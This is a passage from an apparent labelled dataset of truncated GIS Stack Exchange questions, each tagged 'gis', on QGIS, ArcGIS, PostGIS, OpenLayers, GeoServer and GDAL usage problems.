itself, they look fine. ... ",['gis'] "Title: Resizing symbol changes its position on the map Body: I have character symbol for my point feature class from ESRI AMFM Water - Unicode 117 with offset Y:10,7 and size 36. At that moment it is placed perfectly as it is shown on a first printscreen. ... ",['gis'] "Title: PostGIS: Count number of vertices of lines and polygons in tables Body: I have 23 tables in a postsgis schema which I need to count the number of vertices of. The tables are a mixture of lines and polygons so realised I need to use ST_NPoints(geom) So I ran the following ... ",['gis'] "Title: How to get/change line style scale factor of Line ? Body: I am trying to read custom lines from the dgn file and draw it into MapControl. But I don't know how get/set and change line style scale factor of Line ? Please see this link for more detail about ... ",['gis'] "Title: Integration of QGIS sample application into the Qt application Body: I have sample QGIS code(C++) to load the raster map. The same code I want to include in my separate Qt application.Please Guide me regrading how to include the QGIS lib into the Qt and compilation. ... ",['gis'] "Title: ArcGIS REST API Routing offsets Body: I'm having trouble with the ArcGIS json responses The geometry paths make no sense to me, they appear in the wrong place, relatively to each other they seem correct but they are not in the correct ... ",['gis'] "Title: Open Layers Bounds with Lat / Long Body: I am using a custom map with the TMS in OpenLayers. I know my high/low latitude and longitude points. In other words I know the exact bounds of my map image in Lat/Long. Is there a way to use ... ",['gis'] "Title: Polygons Shrinking and Moving as if CRS Was Suddenly Out of Sync with Project Body: I long ago set the CRS for a linguistic geography project I'm working on involving Oklahoma data (EPSG:2836 - NAD83(HARN) / Oklahoma North), and I have been closely monitoring that the polygon ... ",['gis'] "Title: Problem importing mapnik in python Body: I have brew installed Mapnik bust still can't import it with Python (version 2.7.5 on Mac 10.8.4). I have been browsing for solutions but still couldn't find any that worked for me. In particular I ... ",['gis'] "Title: Arcmap 10.1 Export Map Module Missing Save Button and Name Field Body: I'm trying to export a map to jpg and have lost the save buttons and name field in the module. The module points to the correct folder, but I've lost scroll bars and fields. Anyone have any ideas how ... ",['gis'] "Title: WFS request work from browser, doesn't work from html Body: I have two domains on two servers: www.example.com - with Apache web server (hosted domain) and gisexample.com - with Geoserver on Ubuntu Server. I have to make a WFS request from www.example.com. I ... ",['gis'] "Title: View Waypoints in OSM Body: I have a GPX file with my waypoints. <?xml version=""1.0"" encoding=""UTF-8""?> <gpx version=""1.0""> <name>My Favorites</name> <wpt lat=""-26.7183013"" ... ",['gis'] "Title: How can i use ArcGIS server 10 mapservices in openlayers? Body: I'm new in openlayers . i'd like to use mapservice of ArcGIS server 10 in open layers.I search and found examples of using an ArcGIS Server 9.3 Rest API layer for openlayers. I found ... ",['gis'] "Title: FeatureLayer SaveEdits did't work in ArcGIS Silverlight API Body: I want to copy some graphics in GraphicsLayer to FeatureLayer, but it didn't work. The problem is that it didn't execute SaveEdits(). Mmaybe it didn't complete or failed. It has confused me for a long ... ",['gis'] "Title: How does MYSQL accept the WKT representation of a polygon with holes? Body: I have a set of coordinates that creates a polygon with holes in it. I'm using qgis with mmqgis to extract. How does MYSQL accept the WKT representation of a polygon with holes? By holes I mean ... ",['gis'] "Title: How to programmatically remove a donut hole from Polygon in arcobjects Body: I have a polygon IPolygon4 with a hole in it, as you can see. How can I get rid of the donut hole, and have the whole thing be one simple polygon with 5 vertices. Here are the constructed WKT ... ",['gis'] "Title: Reprojecting elevation dataset for “tilted Earth” Body: I would like to create maps of a ""tilted Earth"", such as the following example where Australia is at the North Pole: http://i1048.photobucket.com/albums/s379/laskaris_mods/tilted_earth.jpg I can ... ",['gis'] "Title: ArcGIS - Help Using Oracle Function in Definition Query - No ArcSDE Body: I have set up a Query Layer pointing at an Oracle table with a SDO.Geometry column, and that is working and behaving fine. However, when I am attempting to set up a definition query that calls a ... ",['gis'] "Title: How do I get the coordinates of my data frame always in long/lat? Body: I want to determine the coordinates of my current data frame. To do so I wrote this script: def DataFrame (): mxd = arcpy.mapping.MapDocument(""CURRENT"") df = ... ",['gis'] "Title: Where can I get road data that includes max speed? Body: Does anyone know how to detect the road speed I. E. If one of our vehicles was driving on a certain road above the speed limit, we would want to know But no idea where to get this data from Any ... ",['gis'] "Title: About Interpolation Method using GIS10? Body: I have attached my stream network where the green dots shows the location with discharge gage now I want to create a raster all along the stream network to have a discharge data all along the river. ... ",['gis'] "Title: Python workspace Body: I wrote a simple script to rename about 15 shapefiles in a folder on our local server. When I tested it I was working on a workspace on the C:\ and it worked fine. All our data is on a local server ... ",['gis'] "Title: Which Graduated Symbology to use in QGIS Body: I am trying to map demographics data for a county in the UK based upon a combination of Census data. I want to compare the the averages for the county alone to the averages of the UK as a whole and ... ",['gis'] "Title: Spatial Aggregation of attributes from line structures in polygons Body: maybe someone has an idea how to deal with it (or directly knows the equivalent functions in PostGIS) for the following problem: I have a transport network (something like railways) and the ... ",['gis'] "Title: What does the “service” box in the PostGIS connection dialog stand for? Body: Can sоmеbody explain me what to write in the ""service"" box when connecting to the local DB. QGIS Lisboa and Postgres are installed. ",['gis'] "Title: What exactly does the ArcGIS Server service do? SQL Server service? Body: What is the purpose of the ArcGIS Server service? It's not used at all to do a direct connect to an SDE database, right? That would just use the SQL Server service? While we are on the ArcGIS Server ... ",['gis'] "Title: OpenLayers and GeoExt are displaying my lines features as point features Body: I stored data (road network: line features) on OpenGeo Geoserver compilation and when I tried to display these in openlayers or GeoExt, they are shown as point features. ",['gis'] "Title: nearest neighbor with postGIS and nodejs Body: I'm using postgreSQL 9.1 , postGIS 2.0, nodejs 0.10.12 and the latest version of node's pg module. I use websockets on the server side. I implemented a function that tries to find the 5 nearest ... ",['gis'] "Title: GeoJson to ESRI Shapefile using ogr2ogr Body: I have a GeoJson file that I want to convert to ESRI Shapefile using ogr2ogr in FWTools. I tried using ogr2ogr -F ""ESRI Shapefile"" filename.shp geojsonfile.json OGRGeoJSON I got output ERROR ... ",['gis'] "Title: QGIS Value Map Edit Widget with properties dependent on another field Body: I'm having a problems with Edit Widgets in QGIS. I'm working on a GIS Database for archaeological data, where every site is represented by a polygon. In the attributes there is a field for the era ... ",['gis'] "Title: Linebreak in style.Text in Openlayers 3 Body: I have a vector layer from json, and have a style symbolizer: new ol.style.Text({ text: ol.expr.parse('name') }) In an vector layer, some of the nodes contains more than one name. I try to find a ... ",['gis'] "Title: Converting an Experian (Geoconcept) file to GPS coordinates Body: I'm working with a file containing Experian data which was used in Geoconcept. The file describes a serie of microzones, that is polygons. Unfortuntely the coordinates system is hard to understand: ... ",['gis'] "Title: How to compute flow direction and flow accumulation with Qgis? Body: Any one who had made flow direction and flow accumulation on raster data for filled evaluation model i Qgis? Which tool and plugins are necessary, i haven't been able to find any guidelines on Google ",['gis'] "Title: Why is geometry being dropped when outputting to a MapInfo Writer in FME? Body: In some instances geometry is being unexpectedly dropped when writing to a MapInfo writer. This occurs when FME has a conflict with the Format Attribute of 'mapinfo_type' which has been attached to a ... ",['gis'] "Title: How to remove shapefile polygon intersection marker points in QGIS 1.8.0 Body: I have created a shapefile layer and drawn a polygon to show the boundary of a woodland. How can I edit the polygon to remove the crosses that denote the intersection of two points on the boundary? ",['gis'] "Title: Is it possible to rename a field with the current date Body: I'm trying to figure out if it is possible to rename a field with the current date. What I am trying to accomplish is a table to table conversion, dropping a dozen fields, leaving only two fields, ... ",['gis'] "Title: How can I convert files from a county government to shapefiles? Body: I work for a company that creates software for multiple listing services and real estate agents. We're expanding our coverage area into a new market, and I've been given some files for two different ... ",['gis'] "Title: Convert a number in attribute table to binary Body: I would like to convert whole integers from decimal to binary in ArcGIS using the field calculator. I am looking for the equivalent of DEC2BIN excel command. All values are 255 or below so 8 bit is ... ",['gis'] "Title: Can I convert an ISegmentCollection to an IEnumFeature? Body: I would like to try to call the function, IFeatureConstruction.SplitPolygonsWithLines( ); The 4th arg is a type IEnumFeature, I have an ISegmentCollection. Can I convert ISegmentCollection to an ... ",['gis'] "Title: Why does arcpy.mapping.Layer give Runtime error: CreateObject Layer invalid data source? Body: I want to connect an existing .lyr file to a variable defined as lyr2. lyr2 = arcpy.mapping.Layer(r""C:/Iso100Red.lyr"") Although its a .lyr file I´ll get this Errorcode: Runtime error : Object: ... ",['gis'] "Title: How to digitize a raster automatically Body: I have a raster (.sid extension) file. I want to digitize roads automatically in ArcMap, QGIS..etc. Digitizing by hand would be too time consuming. How can i do this ? Thanks ",['gis'] "Title: Automatic selection of legend object in QGIS Body: I'am using the Corine Land Cover data for a projet. There is around 40 types of land use in this database. In my print composer with my scale (1:20 000) I neve have more than 10 type of land use. I ... ",['gis'] "Title: how to export mdb to dgn file in qgis Body: I am having an (.mdb) file .I want to export this file to (.dgn) format .How can i do this in Qgis ? Is there any plugin available ? ",['gis'] "Title: AO GP tool: Using .sde files as input in a DEWorkspaceTypeClass parameter Body: I got a tool where the user selects a workspace for storing feature classes, defined as follows: IGPParameterEdit3 parameter = new GPParameterClass(); parameter.Name = ""out_workspace""; ... ",['gis'] "Title: How do I convert a GPFeatureRecordSetLayer Feature Set to a Feature Class? Body: I have C# code to run a geoprocessing package that produces an output which is stored in a GPFeatureRecordSetLayer. Right now I have code that displays the result on the GUI when the job is complete . ... ",['gis'] "Title: Why won't OGR connect to my PostGIS database, but QGIS will? Body: Trying to connect to my PostGIS database with some success... One hiccup is that OGR will not connect to my server from a remote machine, though QGIS can connect to it just fine from that same ... ",['gis'] "Title: Problem loading PyQGIS Body: There is a problem on my system when starting QGIS. I get this error. I am running openSuse Tumbleweed 64bit and openSuse 12.3 64bit. Same problem on both systems. Couldn't load PyQGIS. Python ... ",['gis'] "Title: Batch clip DWG polyline Body: I have about 170 DWG files that need to be clipped to their corresponding tile. Each tile is 14,000ft wide, 8,000ft height. The grid: Each DWG file overlaps the tile border by 800ft: ... ",['gis'] "Title: Openlayers simplify linestring on the fly Body: I have an issue on my OpenLayers openstreetmaps where I am loading LineString features from a kml file. Everything works fine except performance due to the sheer complexity of the LineString and the ... ",['gis'] "Title: Pyqgis vector layer rollback and commitChanges Body: I have problems with the vector layer rollback and commitChanges function, it doesn't matter wich one i call the vector layer is is Changed.Here is my code i hope someone can help me. This is my firt ... ",['gis'] "Title: FME Features to read parameter Body: I would like to ask if there is a way in FME to set the Feature types to read parameter, from values in microsoft access table. I have a model that translates .dgn files and then appends them to a ... ",['gis'] "Title: Fleet And Fuel Management Software Body: Is there a free software like the ArcGIS Server/ tracker that can perform Vehicle Tracking and Fuel Monitoring? I would like to monitor more than 1000 units both stationary and moving. I would like ... ",['gis'] "Title: PCS and GCS Transformation Body: Trying to trasnform GCS_Bessel_1841 PCS_Trasnverse Mercator (central meridian 18) to WGS1984 using ""Project tool"" in ArcGIS 9.3. I tried to do it in several different ways, every time from the ... ",['gis'] "Title: About getting area from DEM below 5000 and below 3000 m elevation? [duplicate] Body: I want to get the area from the DEM which is below 5000 and 3000. Actually I need those two areas for my Regression Model to calculate the discharge. In that case, how can I find out using python. I ... ",['gis'] "Title: Geoserver optional symbology with variable substitution in SLD Body: I am trying to write an SLD that optionally takes a symbology for a PolygonSymbolizer and I can't work out how to do default to no symbology if the symbology env parameter is not set. I have used the ... ",['gis'] "Title: Updating the value of a field with pre-defined values Body: I am trying change the value of a row for a field whose type is ""short"" in arcmap using a python script. with arcpy.da.UpdateCursor(FILENAME, FIELD) as cursor: for row in cursor: row = ... ",['gis'] "Title: Geoserver Query Body: we are developing two application, the desktop and web application.. we are using vb.net for desktop application and drupal for web application.., what we are trying to achieve is plot a certain ... ",['gis'] "Title: Calculate “CO_FIPS” field based on “COUNTY” field Body: I have several shapefiles with ""COUNTY"" already populated, I need to populate the ""CO_FIPS"" field based on the county. BREVARD = 009, BROWARD = 011 etc.. ",['gis'] "Title: List index out of bounds [-1] when making bioclimatic variables in DIVA GIS Body: I am working with climate data and I would like to make 19 bioclimatic variables which I can use for ecolgical niche modeling in Maxent. I am following this tutorial ... ",['gis'] "Title: NoData Value = 0, problem when creating NDVI, Erdas Body: I try to create an NDVI from Landsat and ASTER satellite images using Erdas Imagine. In Erdas, the satellite images have a nodata value of 0. After creating an NDVI, the nodata value is still 0, but ... ",['gis'] "Title: How to extract polygon location data (County) to a point shapefile (only has DMS) Body: I have imported an excel spreadsheet to my map and the points have fallen into certain locations. How do I add the location of the polygon that the point has landed in, to the attributes table of the ... ",['gis'] "Title: Georeferencing of a vector data Body: I am evaluating QGIS with a view to visualize and manage geological exploration data. The information is currently stored in different local coordinate systems that I am looking to overlay with ... ",['gis'] "Title: ERROR: CASE types geomval and geometry cannot be matched Body: I am trying to optimise the speed of the intersection query that I am running. However, I am struggling to find the best way to do this. And found a similar bit of sql that looks like it would do ... ",['gis'] "Title: MapServer Clustering GetFeatureInfo Body: I'm having a bit of a problem with clustering in map server the clustering itself works fine and the GetFeatureInfo works fine most of the time. However some times when I click on a cluster point it ... ",['gis'] "Title: Custom maps in windows phone Body: Are there any APIs for viewing any sort of map formats stored directly on a phone (a windows phone to be specific)? I would like to store a mapping file (osm, postgis, whatever), but it seems like ... ",['gis'] "Title: ESRI Error lookup COM Exceptions [duplicate] Body: How do I decipher these cryptic COMExceptions that ArcObjects are throwing? I got this exception System.Runtime.InteropServices.COMException: HResult: 0x8004151C and thats it, no more info no ... ",['gis'] "Title: Why do all rows go missing from File Geodatabase Feature Class to *.dbf conversion? Body: I tried to export a File Geodatabase Feature Class to a *.dbf table/shapefile, but there are no records inside. I believe there is no mistake in exporting--it is simple. The doubt is the file ... ",['gis'] "Title: How to hand over polygon attribute to new point while digitizing? Body: My task is to work with bird observation data in an area, that is divided into zones as different polygons (A1, A2, etc.). I have the hand-written lists of observations and want to bring all entries ... ",['gis'] "Title: SQL to get points within certain distance Body: I got about 2 million points in a spatialite database would like to get which points are withina radius of 30 km from another point. All data is in WGS84 but I need distance in km. Also it would be ... ",['gis'] "Title: Openlayers multiple zoom problem Body: I have a simple WebGIS with Mapserver, Tilecache and Openlayers. This project has something like 12 zoom levels. The problem is when I zoom for several layers (say 8 lavels), it becomes very slow, ... ",['gis'] "Title: Ecuador Census Data Body: I am looking for Ecuador census data (digital GIS if possible) at the sub-parroquia (parish) level. The geographies and the tabular data would be great but at this point I am mostly in need of the ... ",['gis'] "Title: Bing Maps / JavaScript - trying to open InfoBox with the PushPin click event Body: I am experimenting with the sample code on the Bing SDK site but am unable to get the click event to work with the pushpins I am adding in a JS .each loop that pulls in longitude, latitude coordinates ... ",['gis'] "Title: Can I get a list of points in a polygon using Quadtrees? Body: I'm storing vertices in a PR (or PM if needed) quadtree and would like to be able to: Find out if a given polygon contains at least one point Optionally: Get a list of all the points within a ... ",['gis'] "Title: How can I split a polygon into its sub polygons? Body: I am trying to define user generated polygons with Esri's ArcGIS Engine 10.1. Here's how it works at the moment: User clicks on the map and creates points User connects the points I have a ... ",['gis'] "Title: Gdal2tiles with tif projection failure Body: I downloaded this .tif image of the world (small version) from Natureal Earth and tried to convert it to tiles using Gdal2tiles in OSGeo4W. In the terminal, I used the following commmand: gdal2tiles ... ",['gis'] "Title: How to add non spatial sqlite table to map using python in qgis? Body: Is it possible to load pure sqlite 2.0 (without spatial extension) table into qgis using python? I would like to get the same result as in the case of using Add Vector Layer -> All files. I have ... ",['gis'] "Title: How to write shapefiles more efficiently in GeoScript? Body: I've created a geoscript (in groovy) to create a shapefile from generated geometries with certain attributes. It's a heatmap consisting roughly 65.000 polygons with an attribute storing the ... ",['gis'] "Title: Very poor performance of QGIS and PostGIS2. User error or feature? Body: I have a large table in Postgis2. It has >500 million polygon, line and point features all happily living in there and the table performs brilliantly in other GIS. I am now trying to just add that ... ",['gis'] "Title: True long int fields in a File Geodatabase Body: I have been wondering about the 'long ints' in FGDBs. They are 32 bit, which is just a regular int in most places. Is it possible to actually have a field be a 64 bit int? I have some bigint's (64 ... ",['gis'] "Title: Pythonaddins SaveDialog filter Body: If you look in the ArcGIS 10.1 help, the Pythonaddins module SaveDialog shows the following: SaveDialog({title}, {name_text}, {starting_location}) But if you open the python window in ArcMap, you ... ",['gis'] "Title: Intersecting Layers Returns Empty Collection Despite Visible Intersection Body: When I perform an intersection of a polygon I draw in OpenLayers and a postgis database layer, it seems that I am getting incorrect results. Intersection works correctly on some layers. For ... ",['gis'] "Title: Need help using FieldMappings object with Append_management in Python [closed] Body: I have a fairly large script that I'm reworking. The script is manipulating tables with 50 or so fields. (I will be cleaning some of these up to reduce the number.) Toward the end of my script I call ... ",['gis'] "Title: Open source solutions for Landsat-8 mosaicing and correction? Body: I am familiar with the major commercial remote sensing packages (ENVI, IDRISI ERDAS, etc), but I haven't previously had the opportunity to utilize open-source solutions. I have a several new ... ",['gis'] "Title: Python Delete point in a distance of x meters Body: I took this code from this source Select maximum number of points more than x meters apart It seems to work for other users, but for me it's an endless loop. I do not understand why, though the code ... ",['gis'] "Title: Whats the name of vertices order property? Body: I'm trying to find the next vertices on polyline using python script in order to calculate the angle between them. Whats the name of vertices order property ? Vertices have an attribute for X,Y and ... ",['gis'] "Title: Plotting X, Y coordinates generated from MySQL database in QGIS Body: Currently running QGIS 1.8.0 on Mac OS X 10.8.4. I can plot points on a map using the ""Add delimited text layer"" plugin to get x-y coordinates from a text file. However, I'd like to be able to ... ",['gis'] "Title: ArcMap layout graphics Body: When I try to copy graphics and text between .mxd documents, size of the elements (width, height, font size) change randomly. Anyone know how to transfer LayoutElements between .mxd without any ... ",['gis'] "Title: When a tool fails, ArcGIS returns me to the tool dialog. How to change it? Body: When a tool processed in foreground fails, I have some time to read the log. After closing the log I get redirected to the tool dialog, where I stopped just before executing the tool. I know this is ... ",['gis'] "Title: Problem compiling UI file generated by QGIS Plugin Buidler Body: I have used the plugin builder QGIS 1.8 to create an empty plugin. The next step is to compile the ui file using pyuic. pyuic.py runs but halts at the line with from PYQt4 import QTCore and an error ... ",['gis'] "Title: Field Calculate with a function written in python within a larger python script Body: I'm writing a python program where I need to field calculate using a python function. The function takes two strings; one used for an if statement and the other to become an integer complete a simple ... ",['gis'] "Title: Can I use Openlayers Plugin with a different Datum/Projection? Body: There is probably already a post for my problem, but after long searching, I could not find a solution for my issue. I am working with QGIS und I am using the following projection/datum: MGI / ... ",['gis'] "Title: Publishing PostGis table using GeoServer REST returns error when geometry column is NOT named “geom” Body: I tried publishing an existing PostGis table with geometry column named ""wkb_geometry"" to Geoserver using its REST API. I used the following command: curl -v -u admin:geoserver -X POST -H ... ",['gis'] "Title: How to add a progress bar to an ogr2ogr script Body: Hello GIS Folks, We have started using ogr2ogr to upload MapInfo tables into Microsoft SQL server in my workplace. Some of the tables are massive (>1,20,000 records) and there is no ... ",['gis'] "Title: How to render GPX files in TileMill? Body: I want to show a number of GPX files in a TileMill map. Here's the process that I thought would work: gpsbabel -i gpx -f ""$myfile"" -o kml,lines=1 -F ""$myfile.kml"" Add as layer in Tilemill, style ... ",['gis'] "Title: PHP-MBTiles Server implementation with Leaflet and Wax Body: Using PHP tile server from infostreams with Leaflet and Wax Connector for Leaflet to visualize my .mbtiles. I upped the source and the .mbtiles on a free hosting service. I am getting a blank Leaflet ... ",['gis'] "Title: Dissolving a vectorial shape/layer in QGis with raster layers and after that cut the raster layers based in an vectorial one ( South America) Body: I'm doing a work for colege about the potential distribution of an species that exists only in South America using QGis 1.7.4 Wroclaw but I need to use the raster layers (from www.worldclim.org) of ... ",['gis'] "Title: GIS confidentiality, how to convert address to block level Body: I have a list of addresses in a spreadsheet to use with ArcGIS and geocode using the provided ESRI street level geolocator. But I intend to make point information viewable for the public, thus I want ... ",['gis'] "Title: Umlaute not displayed correctly when loading .mdb MS Access into QGIS (1.9.0-Master) with eVis Body: Good evening, I am loading an .mdb (MS Access 97 or 2003) to QGIS (1.9) via the eVis database conection. Connecting to the mdb, selecting a table and displaying it as a point-layer through the ... ",['gis'] "Title: Implementing WFS within .NET Body: There are several discussion about implementing (or not implementing) WFS with .net from scratch. However, if I do need to, how do I get started? I know it's a broad question. I apologize for that. ... ",['gis'] "Title: arcgis 10.0 extensions not getting authorized after reinstall Body: I have reinstalled ArcGIS 10.0 and trying to authorized ArcEditor and other extensions. I am able to authorized ArcEditor whereas extensions are not getting authorized. Any idea? Thanks in advance. ",['gis'] "Title: How to copy an SDE geodatabase to a file geodatabase using Python? Body: I would like to make an exact copy (domains, feature datasets, feature classes, etc.) of an SDE database to a file geodatabase. I have tried several possibilities, including: using the Copy (Data ... ",['gis'] "Title: How to Install ArcGIS 10.2 Body: I found out that ArcGIS 10.2 was released yesterday, which is great since I am looking forward to it. Although so far I haven't been able to find any information on how the update will be installed. ... ",['gis'] "Title: How to create FeatureLayer without Legend in Table Of Contents (TOC) using ArcGIS Engine? Body: So what I am trying to accomplish is having a IGroupLayer that contains an IFeatureLayer and in the table of contents (TOC) there would be no + next to the feature layer (i.e. there is no legend). So ... ",['gis'] "Title: PGROuting 2 : Getting nearest node to a given point (with lat - long given) Body: I have a point whose latitude and longitude (only) are known, and a table of nodes with their geom. I want to find the closest node in the table to the given point. I think I can achieve this with ... ",['gis'] "Title: Why would Update (Analysis) tool from ArcGIS Desktop 10.0 create duplicate features in file geodatabase? Body: I am attempting to use the Update (Analysis) tool to update a right of way (ROW) polygon feature class with a roads polygon feature class. The ROW feature class completely contains the roads feature ... ",['gis'] "Title: Using ogrinfo to list all projection source of a database [closed] Body: I have to reproject all the layers from a database, but some of them are undefined and some are defined in a wrong projection. I would like to sort all those layers in a text file with their source ... ",['gis'] "Title: Comparing features in GIS interface with Google Maps/Bing Basemaps - Which Co-ordinate system to use? Body: This one is simple, but there was no unambiguous writeup any where so let me shoot. I want to compare some Geographic features in my data with Google maps in ArcGIS platofrom using a third party app. ... ",['gis'] "Title: How to select areas from a target layer which do not intersect source layer? [duplicate] Body: I have two different layers, one is county boundary and another one is soil map. My question is I would like to select only those areas which are outside the county boundary. Using ""Select by ... ",['gis'] "Title: I need to develop an application using c# and postgis.I need help Body: Hello Every one I a beginner in development side and have little knowledge about open source like PostgreSQL ,postm gis and Mapwingis.I need to develop an application which can read the shape file ... ",['gis'] "Title: Integer field name changes automatically Body: Last week I had imported some shapfiles into file geodatabase. It makes sense but when I checked table of the outputs I had found that some integer field names had been changed to other names. For ... ",['gis'] "Title: Set custom extent in ArcGIS JSAPI 3.4/3.5 Body: I am using ESRI suit 10.1 and ArcGIS JSAPI 3.4/3.5. I want to set custom extent (for India) for this map and trying to assign the coordinate in center but its not getting proper map. In previous ... ",['gis'] "Title: Setting up Pyscripter for QGIS dev Body: I have been trying to set up PyScripter so that I can make use of code completion for QGIS python code. So far, I have been unable to get things to work. PyScripter when set up as per instructions ... ",['gis'] "Title: Automated Importing of Landsat with new USGS MLT metadata file Body: Has anyone had any luck importing Landsat with the updated MLT files? Besides ENVI 5 SP1 I see no software that can create images from these new files. I can do a manual layer stack but then the band ... ",['gis'] "Title: Large buffers in PostGIS (5000 km radius) Body: I have a number of points stored as geographies in PostGIS (version 2.0.1), and I'd like to create rather large buffers around them (with a radius of 5000+ km). However, ST_Buffer doesn't handle this ... ",['gis'] "Title: rotate and move polygons to different angles Body: I have a few thousand polygons (all square) that I need to rotate to various angles that are in the attribute table, and then move so that each polygon gets moved 3/4 up from the original centroid, ... ",['gis'] "Title: Editing (particularly flipping direction of) a polyline obtained through an UpdateCursor Body: I want to flip the direction of a polyline feature obtained as a result of an Update query; e.g. lines= arcpy.UpdateCursor(myFeatureClass,myQuery) dsc= arcpy.Describe(myFeatureClass) try: for ln ... ",['gis'] "Title: Loading GeoServer Map via Webapp Body: I have my web app developed using hibernate, struts, spring, etc and am using dojo for UI and postgres for db. I have my geo server configured and in place. I have configured WMS and WFS in a map.js ... ",['gis'] "Title: Using GDAL to connect to a WFS Body: I'm trying to connect to a wfs using GDAL, from reading some of the (fairly sparse) documentation on this i have found that this is possible if GDAL is compiled with the correct drivers (Curl, ... ",['gis'] "Title: Can QGIS access cartodb tables via OGR? Body: I see that it is possible to access Google Fusion Tables in QGIS using OGRs Virtual Format layer. Shown here and details about the Google Fusion Table driver here. I was wondering whether something ... ",['gis'] "Title: 3D Raster's and Geosoft Montaj/Target, Leapfrog, GoCAD Body: I'm trying to figure out what the best format to serve 3D images inside our company. Specifically georeferenced Tiff's that have been placed in 3d space with Geosoft Montaj. We use ArcMAP ... ",['gis'] "Title: Can't delete the point when the point has been dragged, Openlayers Body: I've created an event on the drag function, but after being dragged the point can't be deleted ! function dragPoint(){ // drag = new OpenLayers.Control.DragFeature(pointLayer, {autoActivate: ... ",['gis'] "Title: How to Disable the add-in button when ArcMap is started? Body: Question 1:How to Disable the add-in button when the ArcMap started,then I use the SelectByRectangletool select features,then the button enabled! I am a fresh man about the add-in. Question 2:I made ... ",['gis'] "Title: How to set default bad layers handler in the python plugin? Body: I am trying to write a python plugin for QGis. My python plugin will copy a template qgis project into data catalog with ESRI shapefiles. Because data catalogs can vary in its content there will be ... ",['gis'] "Title: Python add-ins vs. .NET add-ins? Body: I found in ESRI .NET help: Python All ArcGIS Desktop applications include an embedded scripting language called Python. Many areas of ArcGIS—particularly geoprocessing—are accessible through ... ",['gis'] "Title: Convertfeaturestographics Tool or Program Body: Problem : With over 19 feature classes in our dataset, we need to convert all these featureclasses to graphic . But to do it programmatically, we searched the resources but could not find a Python ... ",['gis'] "Title: can Geocat Bridge enable me to connect to existing PostGIS database and make edits through ArcGIS? Body: We are planning to set up a Webgis to share our GIS data on the web. Currently, we are on a desktop GIS and using ESRI's File geodatabase format. We are considering ArcGIS Server or using Opengeo ... ",['gis'] "Title: Execute Sql Statement in SQL Server 2008 with ArcSDE connection Body: I'm trying to execute this SQL Statement to establish an SQL query in SQL server 2008 with an ArcSDE connection (ArcSDE personal use) but there is no result. The SQL statement is : Execute SQL ... ",['gis'] "Title: What are QGIS Arcpy Equivalent Functions for Update/Delete Row/Field? Body: I am trying to reprogram some scripts from arcpy to qgis (1.8 or 2.0) and there are some simple functions that I want to be able to redo but unfortunately documentation in qgis is lacking in certain ... ",['gis'] "Title: Multiple joined Models in Model Builder Body: In ArcGIS Model Builder I created a Model that contains two models that were joined and saved in the same Toolbox. Either of them contains a few tool elements to process raster data. The second model ... ",['gis'] "Title: Osm2pgsql and pgr_astar Body: How can I use the osm2pgsql schema with pgr_astar? How to do this(1*) using osm2pgsql? 1* SELECT id, source, target, cost, x1, y1, x2, y2 [,reverse_cost] FROM edge_table ",['gis'] "Title: ArcGIS Python Script Buffer [duplicate] Body: I have a problem, I'm trying to create a buffer as part of a code but I keep getting the following error: ExecuteError: Failed to execute. Parameters are not valid. ERROR 000735: Distance [value or ... ",['gis'] "Title: Get coordinates from address Body: I am writing a application which allow users to save a address into database (db) and in the next step it shows all addresses on a map. But in the saving step I need automatically calculate a GPS ... ",['gis'] "Title: Radar Data - Animated Gif in Geoserver Body: I have 7 animated gifs (5 animations in each gif) (with bounding coordinates) of real time radar data. The number of these will grow significantly over the next year or so. We are currently serving ... ",['gis'] "Title: Simulating Random Agent Movements along Roads on Map Body: I need to simulate agent movements on map as follows: Agent starts a known location and moves along a road. At each road intersection, the agent uniformly chooses one possible road and moves along ... ",['gis'] "Title: How can I establish patterns, hotspots and clusters? Body: AS a crime analyst you need to establish a few maps that would help police to do targeted patrols, I've given data of suburbs, roads, incidents, boundaries. How can I establish patterns, hotspots and ... ",['gis'] "Title: QGIS - How to avoid -2147483648 value from imported CSV? Body: I am attempting to join a spreadsheet containing all the CIA Factbook Country Comparison Data (many columns) to the existing Natural Earth world countries shapefile. I followd the tutorial here, but ... ",['gis'] "Title: ESRI Javascript polygon Body: I'm using ESRI JavaScript API 3.5. My polygon cannot load. Please help. dojo.require(""esri.map""); dojo.require(""esri.graphic""); var map; function init() { map = new esri.Map(""map"",{ ... ",['gis'] "Title: How to create and re-use my own map template in Arcmap 10.1? Body: I am working on a project which requires 5 different analyses on the same data. I created five map documents (.mxd) and completed my analyses. Now, the problem is that I want to export my results in ... ",['gis'] "Title: Why does DataGridView data not update for ArcMap add-in? Body: I have created a dockwindow（name:FrmWellConfig) with a datagridview(datagridview1) control in a new ArcMap add-in project. I then bind the data: ... ",['gis'] "Title: How to create multi-image single band single file geotiff? Body: I have a geotiff file that is single band but contains multiple subdatasets. I use gdal with numpy to open a specific subdataset and mask some of its values. Example: $ gdalinfo sample.tif ... ... ",['gis'] "Title: How do I uniquely identify instances of the same type of CU in a work location? Body: I'm attempting to synchronize a design with edits made in our customer's external Work Management System. To do this, I need to be able to distinguish between two compatible units (CUs) of the same ... ",['gis'] "Title: How to sum the values for bins with the same location? Body: I have two maps in csv form, each has a latitude, longitude, and value column. Since not all the positions in one map are in another map, is there any way in QGIS to display a new map which only shows ... ",['gis'] "Title: Is it possible to override autoincrementing keys when QGIS inserts into SQLite? Body: I have a table, without any geometry, loaded in QGIS 1.8.0 (from OSGeo4W) via the Add Vector Layer option. The table resides in a SQLite/SpatiaLite database, and has a field named ""id"" that was ... ",['gis'] "Title: Is it possible to localize ArcGIS Feature-Classes? Body: I wondered if it is possible to translate an arcgis feature-class into different languages? For example I want to translate the Fields of the class and then add the data for the defined languages. I ... ",['gis'] "Title: Are there Desktop GIS alternatives to ArcGIS 10.X for topology and vector conflation? Body: Is there any options other than ArcGIS for Desktop for topological rules and automatic topology integrity enforcing in a Desktop GIS? I am looking for something that will automatically snap features ... ",['gis'] "Title: Postgis and python parameterised queries Body: I have a python script that i am trying to run in order to dump a postgres table and I noticed there is a pgsql2shp command in bash to perform this easily but I would like to incoperate the same ... ",['gis'] "Title: Problem creating a raster mosaic to run a viewshed analysis Body: I am using the freely available dtm data from the OS UK website (Land-form panorama and its in the ASCII format). when you download the data from the website, the dtm is found in different subfolders ... ",['gis'] "Title: How to convert unreferenced Map Tiles to Referenced Map Tiles Body: To introduce you: Starting situation is a mobilemap packed in one zip folder. The Maptiles(256x256 pngs) start with a zoom s0 to s8 (in folder s0 is one png in s1 are 4 pngs in s2 are 16pngs..), but ... ",['gis'] "Title: opengeo-suite upgraded from 3.0 to 3.1 on Ubuntu and I can't start 